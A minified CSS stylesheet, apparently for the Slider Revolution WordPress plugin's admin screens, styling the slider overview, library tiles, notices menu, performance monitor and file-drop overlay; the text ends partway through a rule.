#rev_builder.inAnimationMode ._lc_.nocontent:hover, #rev_builder.inAnimationMode ._lc_.hoveredinlist { box-shadow: none !important; } #rev_builder.inAnimationMode ._lc_.selected>.ui-resizable-handle { display: none !important; } /*#rev_builder.inAnimationMode ._lc_.selected>._borders_ */ /******************************* -IDLE / HOVER SWITCH - *******************************/ .idle_hover_toggle { display: block; border-bottom: 1px solid #3f444a; line-height: 49px; font-size:14px; font-weight: 400;} .idle_swap, .hover_swap { line-height: 49px; width: 50%; color: #797b7e; text-align: center; cursor: pointer; display: inline-block; box-sizing: border-box } .idle_swap { border-right: 1px solid #3f444a; } .__idle_selected__ .idle_swap, .__hover_selected__ .hover_swap { color: #ffffff; } .__hover_selected__ .__idle__, .__idle_selected__ .__hover__ { display: none; } .__idle_selected__ .__idle__, .__hover_selected__ .__hover__ { display: block; } .left_right_row { padding: 0px 10px 5px; } .view-switch { color: #777c80; font-size: 12px; line-height: 25px; vertical-align: top; display: inline-block; height:25px;} .icon_trigger_wrap { display: inline-block; line-height: 25px; vertical-align: top; height: 25px; position: absolute; right: 0px; top: 0px; } #reset_lock_media_size_layer .icon_trigger_wrap { right: auto; left: 0px; top: 3px; } .vs-item { margin-right: 10px; cursor: pointer; display: inline-block} .vs-item:hover, .vs-item.selected { color: #fff; } /****************************** - MONITOR ME - ******************************/ .tp-monitor-list { margin:0px 0px 20px; list-style: none; font-weight:500; color:#777c80; line-height:17px; font-size: 13px;} .tp-monitor-listli { padding:2px 0px;margin:0px; list-style: none; } .tp-monitor-size { min-width: 100px;display: inline-block; } .tp-monitor-file { font-size:13px; font-weight:500;color:#777c80; width:500px; display:inline-block;line-height: 17px;} .tp-monitor-performance-title { width:100%;} .tp-monitor-warning, .tp-monitor-well, .tp-monitor-good, .tp-monitor-neutral { display:inline-block; line-height:17px;width:12px;height:12px;border-radius: 10px; margin:2px 10px 0px 0px;vertical-align: top} .mo-slow-col, .tp-monitor-warning { background-color:#e44732;} .mo-ok-col, .tp-monitor-well { background-color:#eec700;} .mo-fast-col, .tp-monitor-good { background-color:#006dd2;} .mo-neutral-col, .tp-monitor-neutral { background-color: #b7bbc0} .tp-monitor-showimage, .tp-monitor-linktoslide { display:inline-block; width:25px; height:25px; opacity:0.5;cursor: pointer; vertical-align: top;line-height: 25px; color:#b7bbc0;} .tp-monitor-showimage:hover, .tp-monitor-linktoslide:hover { color: #fff; } .tp-monitor-small-icon { font-size: 25px; line-height: 30px; display: inline-block; vertical-align: top; margin-right: 10px; } .tp-monitor-showimage i, .tp-monitor-linktoslide i { font-size: 20px; } .tp-monitor-showimage:hover, .tp-monitor-linktoslide:hover { opacity: 1} .tp-monitor-smalllabel { font-weight:400; color:#4a4c4e; line-height:15px; font-size: 11px; display: block} .tp-monitor-total-subsize { line-height: 27px;height:27px; box-sizing:border-box; font-size: 17px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: transparent; margin-bottom: 15px} .tp-monitor-performace-wrap { display: inline-block; width:287px;height:10px; background: #2a2c2f; position: relative;vertical-align: top; margin-right:15px; margin-top:6px; margin-bottom:35px;} .tp-monitor-performace-wrap.fullpw { width: 100%; } .tp-monitor-performance-bar { position:absolute;top:0px;left:0px;height:10px;width:40%;} .tp-monitor-slow, .tp-monitor-ok, .tp-monitor-fast { position: absolute; line-height: 17px;display: block;cursor: default;color: #222;font-weight: 500;margin-bottom: 0px;font-size: 13px;color: #777c80;top: 15px;} .tp-monitor-ok { left:50%; margin-left:-8px;} .tp-monitor-fast { right:0px;} .tp-monitor-loadedinfo { display: inline-block; width:116px;margin-right:10px;} .tp-monitor-speed-table { line-height:30px; box-sizing:border-box; font-size: 17px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: transparent} .tp-monitor-speed-cell { width:165px; display: inline-block} .tp-monitor-fullsize { line-height: 30px;height:27px; box-sizing:border-box; font-size: 17px;color: #b7bbc0;font-weight: 500;vertical-align: top; background: transparent; margin-right: 15px} .tp-monitor-smart-speed, .tp-monitor-all-speed { display: none;} .tp-monitor-showdetails { margin-bottom: 10px; } /************************************************************* OVERVIEW PAGE *************************************************************/ /* WP CHANGES */ .toplevel_page_revslider, .toplevel_page_revslider #wpwrap, .toplevel_page_revslider #wpwrap #wpcontent { background: #202224; } .toplevel_page_revslider #wpwrap.in_rs_preview { overflow: hidden; height: 100%; } .notselectable {-webkit-user-select: none;-khtml-user-select: none;-moz-user-select: none;-ms-user-select: none;user-select: none;} .linebreak, .tp-clearfix {display: block;height: 0px;width: 100%;} .tp-clearfix { clear:both;} .rightaligned { text-align: right} .vertical_medium_wrap { top: 50%;transform: translateY(-50%);position: absolute;} /* WP MENU */ #adminmenuwrap .toplevel_page_revslider .wp-submenu a #revslider_premium_link { color: #ffb818!important} /* SLIDER OVERVIEW MENU*/ #rs_overview_menu { opacity:0; min-height: 50px; background: #202224; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5); margin-left:-20px; box-sizing: content-box; position: fixed; z-index: 9880; padding-left:75px; overflow:visible;} .rso_scrollmenuitem { line-height: 50px; color: #62666a; /*font-size: 17px;*/ font-size: 14px; font-weight: 600; display:inline-block; /*margin-right: 50px; */ margin-right:25px; cursor: pointer;} .rso_scrollmenuitem i.material-icons { color: inherit; font-size: 20px; line-height: 50px; /*margin-right: 10px;*/ margin-right: 5px; } #rso_menu_notices { right: 110px; top:0px; box-sizing: border-box; font-weight: 600; position:absolute; width:50px; height:50px;} #rs_notice_bell, #rs_notice_the_bell { width:50px;height:50px; text-align:center; position: absolute;top:0px;left:0px; margin:0; padding:0;} #rs_notices_wrapper { display:none;width: auto; right: 0px; line-height: 30px; padding: 0px; margin: 0px; top: 50px; position: absolute; box-shadow:0px 15px 15px 0px rgba(0,0,0,0.5);} #rs_notices_wrapper li { min-width:300px; max-width:600px; padding: 0px 20px; max-width: 400px; overflow: hidden; margin: 0px; line-height: 30px; font-size: 13px;vertical-align: top; } #rso_menu_notices:hover #rs_notices_wrapper { display: block; } #rs_notices_wrapper li i { font-size: 17px; line-height: 30px;vertical-align: top; margin-right: 10px; color: inherit !important; } .no_notification_function { cursor: default;filter: none !important; } #remove_notifications { cursor: pointer } #remove_notifications:hover { background:#3f444c; color: #fff !important; } #rs_notice_counter { background: #921e15; color: #fff; width: 20px;height: 20px;text-align: center; position: absolute; top: 5px;left: 25px; line-height: 20px;font-size: 13px; border-radius: 10px; } .notice_level_0#rs_notice_counter { background:#921e15 } .notice_level_1#rs_notice_counter { background:#ffb818; filter: brightness(90%); color: #000; } .notice_level_2#rs_notice_counter { background:#3f444c; color: #b7bbc0; } .notice_level_0 { background:#c3281c; color:#fff !important; } .notice_level_1 { background:#ffb818; color:#000 !important;} .notice_level_2 { background:#292c2e; color:#b7bbc0 !important;} li.notice_level_0:hover, li.notice_level_1:hover { filter: brightness(110%); } #rso_menu_notices span { display: inline-block; font-weight: 600; margin-right: 10px} #rso_menu_notices span:last-child { margin-right: 0px; } #rso_menu_notices grayiconbox.warning { margin-right: 10px; } #rso_menu_notices { margin-right: 0px !important; } .rso_scrollmenuitem grayiconbox i.material-icons { margin-right: 0px; font-size:30px;} .rso_scrollmenuitem.active, .rso_scrollmenuitem:hover { color: #fff; } .rso_scrollmenuitem.active i.material-icons, .rso_scrollmenuitem:hover i.material-icons { color: #006dd2; } .rso_scrollmenuitem:hover i.material-icons { color:inherit } .box_with_icon:focus, .box_with_icon { outline:none; display:block;border: 1px solid #323438; line-height: 40px; padding: 0px 19px; font-size: 15px; color: #797b7e; text-decoration: none; box-sizing: border-box; text-align: left} a.box_with_icon { cursor: pointer; } .box_with_icon i.material-icons { font-size: 25px; margin-right: 10px } a.box_with_icon:hover { background: #006dd2; color: #fff; } #activated_ornot_box.box_with_icon { background: #22a46e; color: #fff; border: none; } .featurebox .box_with_icon, #activated_ornot_box.not_activated.box_with_icon {/* background: #d50000; color: #fff;*/ background: #ffb818; color: #000; font-weight: 500; border:none;} /* BASIC STYLING*/ #rs_overview .title { font-size: 30px; font-weight: 600; color: #fff; line-height: 40px; padding:0px; margin:0px;} #rs_overview .subtitle { font-size: 20px; font-weight: 500; color:#797b7e; line-height: 25px; padding:0px; margin:0px} /*Main Creation Modules*/ #add_new_slider_wrap { margin-top: 90px; } .new_slider_block { color: #b7bbc0; width: 267px; height: 150px; position: relative; display: inline-block; background: #2a2c2f; margin-right: 20px; margin-bottom: 20px; cursor:pointer; box-sizing: border-box; padding: 30px 0px; vertical-align: top; } .new_slider_block .nsb_title, .rootfolder .nsb_title { font-size: 17px; text-align: center; display: block; line-height: 20px; font-weight: 500} .rootfolder .nsb_title { color: #b7bbc0; } .new_slider_block:hover { background: #006dd2; color: #fff; } #rs_overview .new_slider_block i.material-icons { font-size: 50px; text-align: center; color: #62666a; display: block; line-height: 50px; margin-bottom:10px;} #rs_overview .new_slider_block:hover i.material-icons { color: #fff; } #rs_overview .new_elements_available { display:none; box-shadow: 0px 11px 30px 0px rgba(0,0,0,0.5); position: absolute; top: -20px; right:-15px; line-height: 40px; height: 40px; padding: 0px 15px; color: #fff; background: #5e35b1; font-weight: 600; font-size: 18px; border-radius: 20px; overflow: hidden;z-index:20; } /*#new_slider_import,*/ #add_on_management { margin-right: 0px } /*INPUT AND TRIGGER FUNCTIONS*/ /* WPML FLAG */ .flag_container { display: inline-block;vertical-align: middle; } .wpml-img-flag { width: 18px;height: 12px;display: inline-block;vertical-align: middle;margin-right: 10px; } .slide_elemenet_content .wpml_flag_wrap { display: inline-block; vertical-align: top; line-height: 27px;margin-right: 10px; } .slide_elemenet_content .wpml-img-flag { margin-left: 0px; margin-right: 0px; } body.rs-multilanguage_off .slide_list_child_element_wrap, body.rs-multilanguage_off #gst_slide_13, body.rs-multilanguage_off .wpml_flag_wrap, body.rs-multilanguage_off .addchildslide { display: none !important } /* KRIKI - DISPLAY NONE / INLINE BLOK NICHT GUT, EXTRA LINE IN LIST VON SUBSLIDERS */ /*************************************/ /* OVERVIEW LIST OF ELEMENTS WRAPPER */ /*************************************/ #existing_sliders { margin-top: 40px; } #slider_folders_wrap { position: fixed; top: 0px; left: 0px; width: 330px; height: 100%; background: #202224; box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5); z-index: 120000; box-sizing: border-box; padding:20px;overflow:hidden; display:none;} #slider_folders_wrap_underlay { position: fixed; top: 0px; left: 0px; width: 100%; height: 100%; background: #23282d; opacity:0.65; z-index: 119999; cursor: pointer; display:none;} #slider_folders_wrap .rs_library_element { margin-right: 0px; } .folder_wrap_level_title { display: block; margin-bottom: 10px; margin-top:20px; color: #fff; z-index: 20;font-size: 17px;line-height: 40px;text-align: left; font-weight: 500; } .folder_wrap_level_title.first_fwlt { margin-top: 0px; } .action_button { display: inline-block; font-size: 17px; line-height: 50px; vertical-align: top; color: #797b7e; cursor: pointer; font-weight: 500} .action_button i.material-icons { line-height: 50px; margin-left: 5px; color: inherit; } .action_button:hover { color: #fff; } .overview_slide_elements, .overview_elements { margin-right: -30px; position: relative } .rs_library_element { width: 267px; height: 190px; display: inline-block; margin-right: 20px;margin-bottom: 20px; cursor: pointer; box-sizing: border-box; position: relative; background:#2a2c2f; z-index:50; vertical-align: top} .rs_library_element .rsle_footer { position: absolute; bottom: 0px; left: 0px; width:100%;height:40px; background:#2a2c2f;z-index: 5} .rs_library_element.selected, .rs_library_element:hover{ z-index: 502 !important; } .rs_library_element.ui-draggable-dragging { z-index: 200000 !important; position: absolute; pointer-events: none; opacity:0.80 !important;} .rs_library_element.ui-draggable-dragging .rsle_tbar {display: none !important; } .rs_library_element .link_to_slideadmin, .rs_library_element .image_container { width: 100%; height: 150px; position: absolute; top: 0px;left: 0px; display: block; z-index: 10; background-size:cover; background-position: center center; background-repeat: no-repeat} .rs_library_element .image_container_underlay { z-index: 9; background: #2a2c2f; top: 0px;left: 0px; width: 100%;height: 150px; position: absolute } .rs_library_element .image_container_underlay .rootfolder { background: #2a2c2f; top: 0px;left: 0px; width: 100%;height: 150px; position: absolute } .rs_library_element .image_container_underlay .rootfolder i.material-icons { font-size: 50px; text-align: center; color: #62666a; display: block; line-height: 50px !important; margin-bottom: 10px; width: 100%; margin-top: 45px; } .rs_library_element .link_to_slideadmin_a { z-index: 4; position: absolute; background: #fff; width: 50px;height: 50px;top: 0px;left: 0px; border-radius: 50% } .rs_library_element .link_to_quickeditor, .rs_library_element .link_to_quickstyleeditor { z-index:3; transform:translateX(30px) translateY(30px); position: absolute; top: -23px; left: -23px; border-radius: 50%; width: 30px;height: 30px; background:#fff;} .rs_library_element .link_to_slideadmin .link_to_quickeditor i.material-icons, .rs_library_element .link_to_slideadmin .link_to_quickstyleeditor i.material-icons { font-size: 13px; line-height: 30px !important; font-size: 20px !important; text-align: center; } .rs_library_element .link_to_slideadmin:hover .link_to_quickeditor { display: block; } .rs_library_element.unpublished .unpublishslide { display: none; } .rs_library_element.unpublished .publishslide { display: inline-block; } .rs_library_element .unpublishslide { display: inline-block; } .rs_library_element .publishslide { display: none; } .rs_library_element .iconofunpublished { display: none !important; color: #b7bbc0;font-size: 12px;position: absolute;right: 30px;top: 11px;} .rs_library_element.unpublished .iconofunpublished { display: inline-block !important } .rs_library_element.selected .iconofunpublished, .rs_library_element:hover .iconofunpublished { color: #fff; } .folder_library_element .image_container_underlay { background: #2a2c2f; } .folder_library_element:hover, .folder_library_element.selected, .folder_library_element.menuopen {background:#006dd2; } .folder_library_element:hover .image_container_underlay, .folder_library_element.selected .image_container_underlay, .folder_library_element.menuopen .image_container_underlay {background:#006dd2; } .folder_img_placeholder { display: inline-block; width: 126px; height: 68px; background: #323438; vertical-align: top; background-size: cover; background-position: center center; background-repeat: no-repeat } .folder_library_element.menuopen .folder_img_placeholder, .folder_library_element.selected .folder_img_placeholder, .folder_library_element:hover .folder_img_placeholder { background-color: #00529d; } .rs_library_element.folder_library_element .link_to_slideadmin { background: transparent !important; opacity: 0; width: 100%;height: 150px;top: 0px;left: 0px; margin: 0px; } .folder_img_1, .folder_img_3 { margin-right: 5px; margin-left: 5px; } .folder_img_1, .folder_img_2 { margin-bottom: 5px; margin-top:5px;} .folder_library_element .show_rsle { opacity: 0 !important } .folder_library_element .rsle_tool.embedslider, .folder_library_element .rsle_tool.exporthtmlslider, .folder_library_element .rsle_tool.exportslider { display: none; } .rs_library_element .link_to_slideadmin {text-align: center ; z-index: 20; width: 50px; height: 50px; position: absolute; top: 50px; left: 50%; margin-left: -25px; background: #fff; border-radius: 35px; display:none; box-shadow:0px 3px 10px 0px rgba(0,0,0,0.25);} .rs_library_element:hover .link_to_slideadmin, .rs_library_element.selected .link_to_slideadmin, .rs_library_element.menuopen .link_to_slideadmin, .rs_library_element:hover .link_to_slides_overview, .rs_library_element.selected .link_to_slides_overview, .rs_library_element.menuopen .link_to_slides_overview { display: block; } .rs_library_element .link_to_slideadmin i.material-icons{ font-size: 30px; color: #006dd2; line-height: 50px !important; } .rs_library_element .slide_order_number { position: absolute; left: 10px; top: 13px; color: #b7bbc0; font-size: 10px; pointer-events: none; } .rs_library_element:hover .slide_order_number, .rs_library_element.selected .slide_order_number { color: #fff; } .rs_library_element .link_to_slideadmin.pull_icon_left { margin-left: -55px; } .rs_library_element .link_to_slides_overview { margin-left: 5px; } .rs_library_element .title_container, .rs_library_element .rs_library_el_next { width: 245px; height: 40px; font-weight:500; line-height: 40px; position: absolute; bottom: 0px; left: 0px; font-size: 15px; color: #b7bbc0; padding: 0px 10px; background: transparent;box-sizing: border-box; border:none; outline:none; box-shadow: none; z-index: 2; margin:0px;} .rs_library_element .title_container.slide_with_number { left: 20px; width: 225px; } .rs_library_element .title_container_overlay { width: 100%; height: 40px; line-height: 40px; position: absolute; bottom: 0px; left: 0px; background: transparent; z-index: 5; } .rs_library_element .rs_library_el_next { background:#006dd2; display: none; z-index: 20; pointer-events: none; color: #fff; } .rs_library_element.selected .title_container, .rs_library_element.selected .rsle_folder, .rs_library_element.menuopen .title_container, .rs_library_element.menuopen .rsle_folder, .rs_library_element:hover .title_container, .rs_library_element:hover .rsle_folder { color: #fff; } .rs_library_element .rsle_move_and_edit { position: absolute; top: 0px; left: 0px; width: 100%; height: 165px; z-index: 15; background:transparent; cursor:move;} .rs_library_element:hover .rsle_move_and_edit, .rs_library_element.selected .rsle_move_and_edit, .rs_library_element.menuopen .rsle_move_and_edit { background: #006dd2; opacity: 0.65; } .rs_library_element.selected .rsle_footer, .rs_library_element.menuopen .rsle_footer, .rs_library_element:hover .rsle_footer { position: absolute; bottom: 0px; left: 0px; width:100%;height:40px; background:#006dd2; z-index: 5} .show_rsle { position:absolute; color:#fff; font-size:20px; text-align: right !important; padding-right: 10px; box-sizing: border-box;line-height:40px !important; width: 100%; background: transparent; height: 40px; bottom: 0px; right: 0px; z-index: 20; display: none !important; } .rsle_folder { position: absolute;bottom: 0px;right: 0px;width: 100%;height: 40px;color: #b7bbc0;z-index: 20;font-size: 20px;line-height: 40px;text-align: right; padding-right:10px;} .rs_library_element.menuopen .show_rsle, .rs_library_element:hover .show_rsle { display: block !important; } .rs_library_element.selected .show_rsle { transform: scaleY(-1); transform-origin: "50% 50%"; width: 40px; } .rs_library_element.selected .rsle_folder { width: 40px; } .folder_library_element .rsle_tool.copyclipboard, .folder_library_element .rsle_tool.exportslider, .folder_library_element .rsle_tool.duplicateslider, .folder_library_element .rsle_tool.previewslider { display: none; } #wpadmin_overlay { width: 160px; height: 100%; position: fixed; top: 35px; left: 0px; background: rgba(35,40,45,0.6); z-index: 1000; pointer-events: none; opacity: 0;} #wpadmin_overlay_top { width: 100%; height: 35px; position: fixed; top: 0px; left: 0px; background: rgba(35,40,45,0.6); z-index: 100000; pointer-events: none; opacity: 0;} .overview_slide_elements_overlay, .overview_elements_overlay { background: transparent; width: 100%;height: 100%; top: 0px; left: 0px; position: absolute; z-index: 500; display:none;} .overview_slide_elements.infocus .overview_slide_elements_overlay, .overview_elements.infocus .overview_elements_overlay { display: block; } .overview_slide_elements_overlay.infocus .rs_library_element, .overview_elements.infocus .rs_library_element { opacity: 0.4!important } .overview_slide_elements_overlay.infocus .rs_library_element.selected, .overview_elements.infocus .rs_library_element.selected { opacity: 1!important } .rsle_tbar { position: absolute;top: 100%;width: 100%; height: auto; padding: 5px; background: #006dd2; box-sizing: border-box; color:#fff; display:none;box-shadow: 0px 10px 20px 0px rgba(0,0,0,0.5)} .rs_library_element.selected .rsle_tbar { display: block; } .rsle_tool { width: 64px; height: 50px; display: inline-block; text-align: center; color: rgba(255,255,255,0.65); cursor: pointer; } .rsle_tool:hover { color: #fff; } .rsle_tool i.material-icons { font-size: 17px; display: block; } .rsle_tool span { font-size: 12px; font-weight: 400; display:block;} .rsle_tool_tagwrap{ display: none; } .rs_library_element.in_tag_view .rsle_tool_tagwrap { display: block; } .rs_library_element.in_tag_view .tagsslider { color:#fff !important;} .rs_library_element .title_container:focus { z-index: 200; } .rootlevel_wrap.rs_library_element { height:165px;} .rootlevel_wrap.rs_library_element .rsle_footer { display: none; } .rootlevel_wrap:hover .image_container_underlay, .rootlevel_wrap:hover .image_container_underlay .rootfolder { background: #006dd2; } /* PLUGIN INFORMATIONS */ .plugin_inforow { display: table; visibility: hidden } .pli_left { min-width: 430px; max-width: 430px; border-right: 1px solid #323438; padding-right: 80px; box-sizing: border-box; display: table-cell; } .pli_right { display: table-cell; padding-left: 30px; width:100%;} .pli_update_history { position: relative; display: block; width: 100%; height: 560px; overflow: hidden; margin-bottom:20px;} .pli_update_history hr { display: none; } .bugfix:before, .change:before, .newfeature:before { font-family: 'Material Icons';font-weight: normal;font-style: normal; display: inline-block; text-transform: none;letter-spacing: normal;word-wrap: normal;white-space: nowrap;direction: ltr;vertical-align: top;font-feature-settings: 'liga';} .pli_update_history .newfeature:before {font-family: 'Material Icons'; content:"star"; margin-right:20px;} .pli_update_history .change:before {font-family: 'Material Icons'; content:"redo"; margin-right:20px;} .pli_update_history .bugfix:before {font-family: 'Material Icons'; content:"bug_report"; margin-right:20px;} .pli_update_history .change, .pli_update_history .newfeature, .pli_update_history .bugfix { color: #006dd2; font-size: 17px; text-transform: capitalize; margin-top: 30px; font-weight: 500;} .pli_update_history .change strong, .pli_update_history .newfeature strong, .pli_update_history .bugfix strong { font-weight: 400 !important } .pli_update_history ul { padding-left: 20px; margin-bottom:30px;margin-top:20px;} .pli_update_history li:before { display: block; float:left; content: " "; width: 5px; height: 5px; border-radius:3px; background: #006dd2; margin-right: 20px; position: absolute;left:17px; top: 7px; } .system_requirement, .pli_update_history li { position:relative; color: #b7bbc0; font-size: 15px; line-height: 20px; font-weight: 400; padding-left: 40px; margin-bottom: 7px; } #system_requirements { border: 1px solid #323438; padding: 30px; box-sizing: border-box;position: relative } .system_requirement { padding: 0px;margin-bottom: 10px; font-weight: 500; white-space: nowrap; position: relative; ;} #rs_overview .system_requirement>i.material-icons.warning_icon { display: none } #rs_overview .system_requirement>i.material-icons { font-size: 25px; color: #00b900; margin-right:10px;} #rs_overview .system_requirement.warning>i.material-icons { color: #ffb818; } #rs_overview .system_requirement.warning>i.material-icons.done_icon { display: none } #rs_overview .system_requirement.warning>i.material-icons.warning_icon { display: inline-block } .pli_twoline { display: inline-block; vertical-align: top; } .pli_title { font-size: 20px; color: #fff; font-weight: 500; line-height: 30px; padding: 0px; margin: 0px 0px 35px; } .pli_subtitle, .pli_update_history h3.version-number { font-size: 17px; color: #797b7e; font-weight: 500; line-height: 25px; padding: 0px; margin: 0px; } .pli_update_history h3.version-number { margin-bottom:20px; } .dynamicval { color: #b7bbc0; } grayiconbox { width: 50px; height: 50px; display: inline-block; background:#2a2c2f; color:#62666a; text-align: center; line-height: 50px; font-size: 30px; margin-right:20px; vertical-align: top;} blueiconbox { width: 50px; height: 50px; display: inline-block; background:#0051b2; color:#62666a; text-align: center; line-height: 50px; font-size: 30px; margin-right:20px; vertical-align: top;} blueiconbox.blueiconongray { margin-left: -34px;margin-top: 20px; } darkiconbox { cursor:pointer; width: 50px; height: 50px; display: inline-block; background:transparent; border:1px solid #323438; box-sizing:border-box; color:#62666a; text-align: center; line-height: 50px; font-size: 30px; vertical-align: top;} darkiconbox:hover { background: #323438; } bluebutton { display:block; background:#006dd2; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400; font-size:17px; cursor: pointer} purplebutton { display:block; background:#642fb4; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400; font-size:17px; cursor: pointer; border-radius: 4px} bluebutton, purplebutton, graybutton { display:block; background:#393e45; width: 100%; text-align: center; line-height: 50px; color: #fff; font-weight: 400; font-size:17px; cursor: pointer; border-radius: 4px} bluebutton { background:#006dd2;} purplebutton { background:#642fb4;} bluebutton:hover, graybutton:hover { filter: brightness(110%); } grayiconbox.warning { background:#ffb818 !important; color:#000 !important} grayiconbox.warning i.material-icons { color: #000 !important; } grayiconbox.cwt_youtube { background: url(../images/socials/youtube.png); background-size: contain; } grayiconbox.cwt_twitter { background: url(../images/socials/twitter.png); background-size: contain; } grayiconbox.cwt_facebook { background: url(../images/socials/facebook.png); background-size: contain; } grayiconbox.cwt_googleplus { background: url(../images/socials/googleplus.png); background-size: contain; } grayiconbox.cwt_instagram { background: url(../images/socials/instagram.png); background-size: contain; } grayiconbox.cwt_dribbble { background: url(../images/socials/dribbble.png); background-size: contain; } .system_requirement darkiconbox { width: 30px; height: 30px; line-height: 30px; font-size: 20px; position: absolute; right: 35px; top: 0px; } .system_requirement darkiconbox#faq_to_systemrequirements { right:0px; } .system_requirement darkiconbox#faq_to_systemrequirements a { color:#62666a !important; outline: none !important; box-shadow:none !important;} .system_requirement darkiconbox#faq_to_systemrequirements i.material-icons{ font-size:16px !important; color:#62666a !important; outline: none !important; box-shadow:none !important;} #cwt_socials a, #cwt_socials a:focus { display: block; outline: none; cursor: pointer; text-decoration: none !important} .cwt_link { white-space: nowrap } #cwt_socials a:hover .pli_subtitle { color: #fff !important; } .activate_to_unlock { display: none; } #rs_overview i.material-icons.reset_select { display: none; color: #62666a; cursor: pointer; margin-right:5px;} #rs_overview i.material-icons.reset_select:hover { color: #fff; } bluebutton.disabled { pointer-events: none; background: #2a2c2f; color: #62666a; } bluebutton.halfdisabled { background: #2a2c2f; color: #62666a; cursor: pointer} bluebutton.halfdisabled:hover { color: #797b7e; } purplebutton.normal, bluebutton.normal, graybutton.normal { border-radius:4px; width: 200px; display: inline-block } purplebutton .material-icons { font-size: 17px; margin-right: 10px; } bluebutton.minimal, graybutton.minimal { border-radius:4px;height: 30px; line-height: 30px; padding: 0px 30px; display: inline-block; width: auto; font-size: 13px; font-weight: 400 } #plugin_history .rs__scrollbar-y-rail:hover { background: transparent !important; } .timeline-Widget { background: #202224; } /* PURCHASE KEY */ .pkey_info { color: #797b7e; font-size: 15px; line-height: 20px; font-weight: 500; text-align: center; } .pkey_info a, .pkey_info a:focus { color: #797b7e; } .pkey_info a:hover { color: #fff; } .infobox { border: 1px solid #323438; padding: 30px; box-sizing: border-box; width:100%;} .whitetitle { color: #fff; font-size: 17px; line-height: 20px; margin-bottom:20px; font-weight: 500} .bluetitle { color: #006dd2; font-size: 17px; line-height: 20px; margin-bottom:20px; font-weight: 500} .simpletext { color: #b7bbc0; line-height: 20px; font-size: 15px; font-weight: 400; } .simpletext a, .simpletext a:focus { color:#b7bbc0} .simpletext a:hover { color: #fff; } .simpletext.smalllink, .simpletext.smalllink:visited { font-size: 13px } .simpletext.smalllink:hover, .simpletext.smalllink:focus { color: #fff !important; } #purchasekey_wrap { position: relative } #hide_purchasekey { position: absolute; display:none; pointer-events: none; box-sizing:border-box; top:0px; left:0px; width:100%; font-size: 17px;color: #b7bbc0;background: none;border: 1px solid #323438;outline: none;box-shadow: none;font-weight: 500;line-height: 50px;padding: 0px 20px;width: 100%; } #purchasekey_wrap.activated #hide_purchasekey { display: block; } #purchasekey_wrap.activated #purchasekey { visibility: hidden } #purchasekey_wrap.activated:hover #purchasekey { visibility: visible; } #purchasekey_wrap.activated:hover #hide_purchasekey { display: none; } .rs_new { background: #f82c90; color: #fff; font-size: 13px; font-weight: 500; padding: 0px 5px; display: inline-block; margin-left: 10px; border-radius: 4px } /* FEATURE INFO BOX */ blueicon { width: 50px; position: absolute; left: 0px;top: 10px; background:transparent; color:#006dd2; text-align: center; font-size: 30px; } .features_wrapper { display: block; width: 100%; margin-bottom:40px;} .featurebox { display: inline-block; min-width:285px; max-width:400px; width:50%; padding-right: 20px; box-sizing: border-box; position: relative; vertical-align: top;margin-bottom: 20px; } .featureinfo { display: inline-block; padding-left:70px; } a.graylink, a.graylink:focus { background: #2a2c2f; color: #797b7e; font-size:15px; padding:0px 20px; line-height: 30px; cursor: pointer;display: inline-block;text-decoration: none;} a.graylink:hover { background: #006dd2; color: #fff; } .warning { color: #ffb818; } /* BREADCRUMBS IN CASE NEEDED */ .rsl_breadcrumb_wrap { display: block; width: 100%; margin-bottom: 45px; border-top: 1px solid #323438; padding-top:15px; } .rsl_breadcrumb { display:inline-block; line-height:25px; vertical-align: top; color: #797b7e; font-size: 15px; margin-right:30px; cursor: pointer; font-weight: 500} .rsl_breadcrumb i.material-icons { display:inline-block; line-height:25px !important; vertical-align: top; font-size: 25px !important; margin-right: 10px; } .rsl_breadcrumb_div { display: inline-block; color: #323438; margin-right: 30px; font-size: 25px; line-height: 25px !important; vertical-align: top } .rsl_breadcrumb:hover { color: #fff; } /**************************** -FULLPAGE INFO - ****************************/ #fullpageinfo { position: fixed; background: rgba(50,52,56,0.85); width: 100%; height: 100%; top: 0px; left: 0px; z-index: 500000; color: #777c80;font-size: 14px; font-weight: 400; } #fullpageinfo_zone { width: 800px; min-height: 450px; box-sizing: border-box; padding:0px 20px; transform:translateX(-50%) translateY(-50%); top:50%;left:50%; position: absolute; text-align: left} i.fullpage_main_icon.material-icons { color: #777c80; font-size: 50px !important; position: absolute;left: -50px;top: 0px; } .fullpage_title { color: #fff; font-weight: 500; font-size: 17px; line-height: 25px; margin-bottom:30px;} #fullpageinfo b { font-weight: 500; color: #b7bbc0; } .fullpage_content { margin-bottom: 15px; } #fullpageinfo .inputtocopy { border:none; box-shadow:none;line-height: 40px; font-size: 17px; color: #b7bbc0; font-weight: 500; padding: 0px 10px; background: #2a2c2f; border-radius: 0; outline: none; margin: 0px; display:block; width:100%;} #fullpageinfo .inputrow { position: relative; display: block; } #fullpageinfo .inputrow .basic_action_button { position: absolute; top: 0px; right: 0px; width: 40px; height: 40px; border-radius: 0px; line-height: 40px; font-size: 20px; background: #006dd2 } #fullpageinfo .inputrow .basic_action_button i { color: #fff; } /**************************** - FILE DROP ZONE - ****************************/ #filedrop{ position: fixed; background: rgba(50,52,56,0.85); width: 100%; height: 100%; top: 0px; left: 0px; z-index: 500000; } #filedrop_zone { width: 800px; min-height: 450px; box-sizing: border-box; padding:100px 100px; border:2px dashed #62666a; transform:translateX(-50%) translateY(-50%); top:50%;left:50%; position: absolute; border-radius: 8px; text-align: center} .editordrop #filedrop_zone { background: rgba(0,0,0,0.35); border-color:#fff !important; border-radius: 0px;} .editordrop #filedrop_zone.is-dragover, .editordrop #filedrop_zone.is-processing { background:rgba(0,0,0,0.65) !important;} .big_filedrop_icon { color:#777c80; font-size: 50px !important; line-height: 50px !important;margin-bottom: 30px !important;} .editordrop .big_filedrop_icon { color: #fff; } .editordrop .filedrop_state_idle, .editordrop .filedrop_state_drop, .editordrop .filedrop_state_process { transform: translateY(-50%); top: 50%; position: relative; color: #fff; } #fullpage_close, #filedrop_close { position: absolute; top: -30px;right: -30px; cursor: pointer; } @media (max-height: 715px){ #fullpage_close { top: -10px } } .editordrop #filedrop_close { top: 15px;right: 15px; } #fullpage_close i.material-icons, #filedrop_close i.material-icons { color:#fff; font-size: 30px !important; line-height: 30px !important;} .filedrop_line_1 { 